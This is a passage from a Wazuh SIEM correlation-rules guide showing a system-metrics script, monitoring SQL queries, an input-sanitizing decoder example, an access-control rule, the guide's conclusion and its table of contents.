            'rules_evaluated': 0,
11
            'alerts_generated': 0,
12
            'decoder_performance': {},
13
            'rule_performance': {}
14
        }
15

16
    def collect_system_metrics(self):
17
        """Collect system resource metrics"""
18
        self.metrics['system'] = {
19
            'cpu_percent': psutil.cpu_percent(interval=1),
20
            'memory_percent': psutil.virtual_memory().percent,
21
            'disk_io': psutil.disk_io_counters()._asdict(),
22
            'network_io': psutil.net_io_counters()._asdict()
23
        }
24

25
    def collect_wazuh_metrics(self):
26
        """Collect Wazuh-specific metrics"""
27
        # Parse Wazuh state file
28
        with open('/var/ossec/var/run/wazuh-analysisd.state', 'r') as f:
29
            state = json.load(f)
30
            self.metrics['events_per_second'] = state.get('eps', 0)
31
            self.metrics['total_events'] = state.get('total_events', 0)
32

33
    def generate_report(self):
34
        """Generate performance report"""
35
        self.collect_system_metrics()
36
        self.collect_wazuh_metrics()
37

38
        # Calculate rule efficiency
39
        if self.metrics['rules_evaluated'] > 0:
40
            self.metrics['rule_efficiency'] = (
41
                self.metrics['alerts_generated'] /
42
                self.metrics['rules_evaluated'] * 100
43
            )
44

45
        return json.dumps(self.metrics, indent=2)
46

47
# Usage
48
metrics = SIEMMetrics()
49
print(metrics.generate_report())

Dashboard Queries for Monitoring#

1
-- Top triggered rules
2
SELECT
3
    rule_id,
4
    rule_description,
5
    COUNT(*) as trigger_count,
6
    AVG(processing_time_ms) as avg_processing_time
7
FROM
8
    alerts
9
WHERE
10
    timestamp >= NOW() - INTERVAL '24 hours'
11
GROUP BY
12
    rule_id, rule_description
13
ORDER BY
14
    trigger_count DESC
15
LIMIT 20;
16

17
-- Decoder performance
18
SELECT
19
    decoder_name,
20
    COUNT(*) as decode_count,
21
    AVG(decode_time_ms) as avg_decode_time,
22
    MAX(decode_time_ms) as max_decode_time
23
FROM
24
    decoder_stats
25
WHERE
26
    timestamp >= NOW() - INTERVAL '1 hour'
27
GROUP BY
28
    decoder_name
29
ORDER BY
30
    avg_decode_time DESC;
31

32
-- Alert trends
33
SELECT
34
    DATE_TRUNC('hour', timestamp) as hour,
35
    severity_level,
36
    COUNT(*) as alert_count
37
FROM
38
    alerts
39
WHERE
40
    timestamp >= NOW() - INTERVAL '7 days'
41
GROUP BY
42
    hour, severity_level
43
ORDER BY
44
    hour DESC;

Security Considerations#

1. Rule Security Best Practices#

Avoid Information Disclosure: Don’t include sensitive data in alert descriptions
Rate Limiting: Implement rate limiting to prevent alert flooding
Input Validation: Always validate and sanitize inputs in custom decoders
Secure Storage: Encrypt sensitive rule configurations

2. Secure Decoder Development#

1
# Secure decoder with input validation
2
import re
3
import hashlib
4
from typing import Optional
5

6
class SecureDecoder:
7
    def __init__(self):
8
        self.max_field_length = 1024
9
        self.allowed_characters = re.compile(r'^[\w\s\-\.@]+$')
10

11
    def sanitize_input(self, input_str: str) -> Optional[str]:
12
        """Sanitize input to prevent injection attacks"""
13
        if not input_str or len(input_str) > self.max_field_length:
14
            return None
15

16
        # Remove control characters
17
        input_str = ''.join(char for char in input_str if ord(char) >= 32)
18

19
        # Validate against whitelist
20
        if not self.allowed_characters.match(input_str):
21
            return None
22

23
        return input_str
24

25
    def hash_sensitive_data(self, data: str) -> str:
26
        """Hash sensitive data before storage"""
27
        return hashlib.sha256(data.encode()).hexdigest()
28

29
    def decode(self, log_entry: str) -> dict:
30
        """Secure log decoding"""
31
        decoded = {}
32

33
        # Sanitize the entire log entry first
34
        safe_log = self.sanitize_input(log_entry)
35
        if not safe_log:
36
            return {'error': 'Invalid log entry'}
37

38
        # Parse and validate each field
39
        # ... parsing logic ...
40

41
        return decoded

3. Access Control for Rules#

1
<!-- Role-based rule access -->
2
<rule id="900001" level="12">
3
    <group>restricted_access</group>
4
    <access_control>
5
        <required_role>security_admin</required_role>
6
        <required_permission>write</required_permission>
7
    </access_control>
8
    <decoded_as>sensitive_operation</decoded_as>
9
    <description>Sensitive operation detected - Restricted visibility</description>
10
</rule>

Conclusion#

Mastering SIEM correlation rules is an ongoing journey that requires continuous learning and adaptation. This guide has covered:

✅ Fundamental Concepts: Understanding how correlation rules work and their importance in threat detection

✅ Attack Patterns: Detailed analysis of 10+ major attack types with real-world examples

✅ Implementation: Practical decoders and rules you can deploy immediately

✅ Advanced Techniques: Multi-stage correlation, time-based detection, and behavioral analysis

✅ Best Practices: Performance optimization, testing strategies, and security considerations

✅ Real-World Scenarios: Practical solutions for ransomware, insider threats, and APTs

Key Takeaways#

Start Simple: Begin with basic rules and gradually increase complexity
Test Thoroughly: Always validate rules in a test environment before production
Monitor Performance: Track metrics to ensure rules don’t impact system performance
Stay Updated: Regularly update rules based on new threat intelligence
Document Everything: Maintain clear documentation for all custom rules and decoders

Next Steps#

Implement Basic Rules: Start with the detection patterns most relevant to your environment
Customize for Your Environment: Adapt the examples to match your specific log formats
Build a Testing Framework: Create automated tests for your correlation rules
Share Knowledge: Contribute to the community by sharing your custom rules and experiences
Continuous Improvement: Regularly review and refine your rules based on false positive/negative rates

Remember: Security is not just business—it’s VERY PERSONAL. Every alert could be the one that prevents a major breach. Every rule you write contributes to the collective defense of your organization.

Additional Resources#

Documentation and References#

Community and Support#

Wazuh Google Groups
SIEM Discussion Forums
Security Operations Communities
GitHub Repositories for Rule Sharing

Training and Certification#

SIEM Administration Courses
Log Analysis Training
Incident Response Certifications
Security Operations Center (SOC) Training

This guide is a living document. As threats evolve, so should your correlation rules. Stay vigilant, keep learning, and remember that in cybersecurity, the best defense is a proactive offense.

Author: Anubhav Gain
Last Updated: January 2025
Version: 1.0

💡 Pro Tip: Bookmark this guide and refer to it whenever you need to create or troubleshoot correlation rules. The examples provided are battle-tested and production-ready.

🔒 Security Note: Always review and test rules in a controlled environment before deploying to production. Consider the performance impact of complex correlation rules on your SIEM infrastructure.

📚 Learning Path: If you’re new to SIEM, start with basic log parsing, then move to simple rules, and gradually work your way up to complex multi-stage correlations.

Newsletter

SIEM Correlation Rules: The Complete Guide to Advanced Threat Detection#

Table of Contents#

Introduction: The Power of Correlation#

Understanding SIEM Correlation Rules#

What Are Correlation Rules?#

Rule Classification in Wazuh#

The Correlation Process#

Attack Detection Patterns#

1. Insecure Deserialization & Remote Code Execution#

Understanding the Attack#

Real-World Log Example#

Indicators of Compromise (IOCs)#

Custom Decoder Implementation#

Python Decoder for Advanced Processing#

Correlation Rule#

2. Command Injection Attacks#

Understanding the Attack#

Real-World Example#

Detection Indicators#

Custom Decoder#

Advanced Correlation Rule#

3. Session Fixation Attacks#

Attack Mechanism#

Attack Flow#

Detection Log Pattern#

Decoder Configuration#

Correlation Rule with Frequency Analysis#

4. Denial of Service (DoS) Attacks#

Attack Characteristics#

Log Evidence#

Advanced Decoder with Pattern Matching#

Rate-Based Correlation Rule#

5. Credential Reuse Attacks#

Attack Pattern#

Multi-Stage Detection#

Comprehensive Decoder#

Multi-Event Correlation Rule#

6. Social Engineering & Phishing Attacks#

Detection Patterns#

Suspicious Web Access Pattern#

Email Spoofing Detection#

Multi-Layer Decoder#

Intelligent Correlation Rule#

7. Suspicious DNS Queries#

Malicious DNS Patterns#

Example Logs#

DNS Anomaly Decoder#

Threat Intelligence Integration#

8. Web Application Attacks#

SQL Injection Detection#

Comprehensive Web Attack Decoder#

Multi-Pattern Web Attack Rules#

9. Command & Control (C2) Communications#

Botnet Detection Patterns#

Example C2 Traffic#

C2 Detection Decoder#

Behavioral C2 Detection Rules#

10. PowerShell-Based Attacks#

Suspicious PowerShell Activities#

PowerShell Decoder#

PowerShell Attack Detection Rules#

Advanced Correlation Techniques#

Multi-Stage Attack Detection#

Kill Chain Correlation#

Time-Based Correlation#

Geographical Correlation#

Implementation Best Practices#

1. Decoder Development Guidelines#

Structure Your Decoders Hierarchically#

2. Rule Optimization Strategies#

Use Composite Rules for Complex Scenarios#

3. Performance Tuning#

Efficient Rule Ordering#

4. Testing and Validation#

Using wazuh-logtest#

Automated Testing Script#

Troubleshooting Common Issues#

Issue 1: Decoder Not Matching#

Issue 2: Rules Not Firing#